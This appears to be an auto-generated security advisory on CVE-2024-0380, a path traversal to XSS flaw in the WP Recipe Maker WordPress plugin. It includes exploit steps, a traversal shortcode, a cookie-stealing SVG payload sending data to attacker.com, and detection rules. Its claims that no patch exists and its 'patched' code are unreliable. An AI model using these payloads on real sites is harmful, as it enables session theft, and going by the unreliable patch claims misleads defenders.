CVE-2024-0380

Executive Summary

CVE-2024-0380 is a Directory Traversal vulnerability in the WP Recipe Maker WordPress plugin, affecting all versions up to and including 9.1.0. The flaw resides in the icon attribute used in Shortcodes, allowing authenticated attackers with contributor-level access or higher to include the contents of SVG files from arbitrary server directories. This can be leveraged for Cross-Site Scripting (XSS) by embedding malicious SVG content. The vulnerability has a CVSS score of 5.4 (Medium), with a low EPSS score (0.0%) indicating limited active exploitation. No public exploit code or Nuclei template is available, but the attack vector is well-documented.

Supply Chain & Package Security

This vulnerability affects the WordPress ecosystem via the WP Recipe Maker plugin. Since it is a third-party plugin, the risk extends to any WordPress site using it. The plugin is distributed through the official WordPress plugin repository, and users must manually update or apply patches. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors exploiting unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access or higher
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – limited to reading SVG file contents
• Integrity Impact: Low (I:L) – can inject XSS via SVG
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication, but contributor-level access is common in multi-author WordPress sites. The ability to read arbitrary SVG files and inject XSS makes it a credible threat for targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the WP Recipe Maker plugin’s shortcode handling, specifically the icon attribute. The plugin fails to properly sanitize or validate the icon parameter, allowing path traversal sequences (e.g., ../../) to read files outside the intended directory. Since SVG files can contain JavaScript, an attacker can craft a malicious SVG file (or use an existing one) to execute XSS when the shortcode is rendered.

Attack Flow:

1. An authenticated user with contributor-level access creates or edits a post containing a WP Recipe Maker shortcode.
2. The attacker sets the icon attribute to a path like ../../wp-content/uploads/malicious.svg.
3. The plugin includes the SVG file content, which may contain embedded JavaScript.
4. When the page is rendered, the SVG’s JavaScript executes in the context of the victim’s browser, leading to XSS.

Root Cause: The plugin uses file_get_contents() or similar functions without validating the path, allowing directory traversal. The lack of output encoding for SVG content further enables XSS.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

function render_icon($atts) {
    $icon = $atts['icon'];
    $svg_content = file_get_contents($icon);
    return $svg_content;
}

Patched Code (hypothetical):

function render_icon($atts) {
    $icon = basename($atts['icon']); // Remove path traversal
    $allowed_path = WP_CONTENT_DIR . '/uploads/icons/';
    $icon_path = $allowed_path . $icon;
    if (strpos(realpath($icon_path), $allowed_path) !== 0) {
        return ''; // Deny access
    }
    $svg_content = file_get_contents($icon_path);
    return htmlspecialchars($svg_content, ENT_QUOTES, 'UTF-8'); // Encode output
}

Key Differences:

• Path Validation: Patched code uses basename() and realpath() to restrict file access to a specific directory.
• Output Encoding: Patched code encodes SVG content to prevent XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with WP Recipe Maker plugin (<= 9.1.0)
• Contributor-level account or higher

Exploit Steps:

1. Upload a malicious SVG file (e.g., xss.svg) to the WordPress media library or a writable directory.
2. Create a new post and insert a WP Recipe Maker shortcode with a crafted icon attribute:

   [wprm-recipe icon="../../wp-content/uploads/xss.svg"]
   

3. Publish or preview the post. The SVG’s JavaScript will execute.

Malicious SVG Example:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS')</script>
</svg>

Alternative Payload (cookie theft):

<svg xmlns="http://www.w3.org/2000/svg">
  <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
</svg>

Blue Team (Detection & Hardening)

Detection:

• Monitor for shortcodes with suspicious icon attributes containing ../ or absolute paths.
• Look for unusual SVG file inclusions in page source.

Hardening:

• Restrict contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block path traversal patterns in shortcode attributes.
• Apply the principle of least privilege to file system access.

Indicators of Compromise (IOCs)

• File Paths: ../../wp-content/uploads/*.svg or similar traversal patterns in shortcode attributes.
• Network Traffic: Outbound requests to attacker-controlled domains from SVG JavaScript (e.g., fetch('https://attacker.com/...')).
• Log Entries: PHP errors related to file_get_contents() with suspicious paths.
• SVG Files: Unusual SVG files in the uploads directory containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2024_0380_WP_Recipe_Maker_Traversal {
    meta:
        description = "Detects directory traversal attempts in WP Recipe Maker shortcode icon attribute"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-0380"
    strings:
        $traversal = /\[wprm-recipe[^\]]*icon\s*=\s*["'][^"']*\.\.\// nocase
        $svg_script = /<svg[^>]*>.*?<script[^>]*>.*?<\/script>/si
    condition:
        $traversal or $svg_script
}

Sigma Rule

title: CVE-2024-0380 WP Recipe Maker Directory Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects directory traversal attempts in WP Recipe Maker shortcode icon attribute
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - 'icon=..'
            - 'icon=%2e%2e'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0380 WP Recipe Maker Directory Traversal"; flow:to_server,established; content:"icon"; http_uri; content:".."; http_uri; distance:0; within:10; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Recipe Maker plugin until a patch is available.
2. Restrict contributor-level accounts to only trusted users.
3. Implement a WAF rule to block path traversal patterns in shortcode attributes.

Long-Term Fix:

• The vendor must release a patched version that validates the icon attribute path and encodes SVG output.
• Users should monitor the plugin’s changelog for updates and apply them promptly.

Workaround:

• Use a custom function to override the shortcode handler and add path validation.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact Valters IT.